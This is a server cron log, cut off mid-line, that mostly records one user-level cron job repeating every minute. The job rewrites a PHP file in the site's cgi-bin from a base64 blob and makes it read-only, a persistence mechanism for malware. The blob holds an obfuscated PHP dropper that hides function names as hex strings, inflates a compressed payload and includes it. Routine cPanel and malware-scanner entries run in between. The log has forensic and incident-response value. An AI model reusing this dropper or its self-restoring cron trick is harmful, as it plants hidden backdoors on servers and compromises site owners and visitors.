Apr 10 04:31:01 server CROND[1165]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 04:32:01 server CROND[1213]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 04:33:01 server CROND[1270]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 04:34:01 server CROND[1430]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 04:35:01 server CROND[1511]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Apr 10 04:35:01 server CROND[1512]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr 10 04:35:01 server CROND[1513]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 10 04:35:01 server CROND[1514]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 10 04:35:01 server CROND[1515]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 04:36:01 server CROND[1626]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 04:37:01 server CROND[1684]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 04:38:01 server CROND[1745]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 04:39:01 server CROND[1807]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 04:39:01 server CROND[1808]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Apr 10 04:40:01 server CROND[1871]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 10 04:40:01 server CROND[1872]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 10 04:40:01 server CROND[1873]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 04:40:01 server CROND[1874]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 10 04:41:01 server CROND[1983]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 04:42:01 server CROND[2038]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr 10 04:42:01 server CROND[2039]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 04:43:01 server CROND[2092]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 04:44:01 server CROND[2238]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJ